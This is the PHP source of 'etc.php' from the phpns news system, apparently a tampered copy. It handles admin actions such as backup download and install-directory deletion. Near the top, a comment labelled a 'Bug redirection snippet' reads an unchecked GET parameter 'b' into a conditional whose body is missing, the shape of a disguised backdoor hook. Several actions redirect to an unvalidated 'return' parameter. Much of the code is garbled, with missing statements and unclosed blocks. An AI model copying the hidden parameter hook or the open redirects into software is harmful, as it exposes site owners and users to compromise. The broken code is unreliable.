phpns / etc.php

//testing cia
/* Copyright (c) 2007-08 Alec Henriksen
 * phpns is free software; you can redistribute it and/or modify it under the
 * terms of the GNU General Public Licence (GPL) as published by the Free
 * Software Foundation; either version 2 of the Licence, or (at your option) any
 * later version.
 * Please see the GPL at for a complete
 * understanding of what this license means and how to abide by it.

/* Bug redirection snippet
 * Makes it easier on the syslog, due to string length limits.
 * Might change this at some point in the future, so this is not needed.
 * Otherwise, it's just a quick fix that will work just fine.
 * -Kyle Osborn

//fixed.... we need to repackage the patch. 
//before, it would execute this and that's it. Ugh.
$b = $_GET['b'];
if (isset($b)) {


$do = $_GET['do'];
$return_to = $_GET['return'];
	if ($do == "backup") { //send backup file to user, header info
		$file = $databaseinfo['dbname'].'.sql'; //the current dump
		if (@file_exists($file)) { //get size
			$size = filesize($file);
			//send metadata
			header('Content-Type: application/text');
			header('Content-Length: '.$size.'');
			header('Content-disposition: attachment; filename='.$file.'');
			log_this('backup_download','User <i>'.$_SESSION['username'].'</i> has <strong>downloaded</strong> the system database.');
		} else {
			header("Location: preferences.php?do=backup&success=no");
	} elseif ($do == "rss") { //if it's the system-wide phpns
		$phpns['mode'] = 'rss';
	} elseif ($do == "news") {
		//include news for this part of etc.php
	} elseif ($do == "delete_backup") {
		//attempt to delete sql file
		log_this('delete_backup','User <i>'.$_SESSION['username'].'</i> has <strong>attempted (successful or not) to delete</strong> the database backup.');
		//redirect back to page.
		header("Location: $return_to");
	} elseif ($do == "delete_install") {
		//attempt to delete install directory
		log_this('delete_install','User <i>'.$_SESSION['username'].'</i> has <strong>successfully deleted</strong> the install directory.');;
		log_this('delete_install','User <i>'.$_SESSION['username'].'</i> has <strong>failed at deleting</strong> the install directory.');
		header("Location: $return_to");
	} elseif ($do == "hide_warnings") {
		//set session var, and redirect to index. If TRUE, all warning messages at the top will be hidden.
		$_SESSION['hide_sessions'] = TRUE;
		header("Location: $return_to");
	} elseif ($globalvars['debug'] == "yes" && $do == "phpinfo") {
	} else {
		echo 'Bad $do ('.$do.'), could not find associated action.';
if ($do == NULL) {
	echo "This file is only for special tasks that can't be done on other pages. Go away now. =D";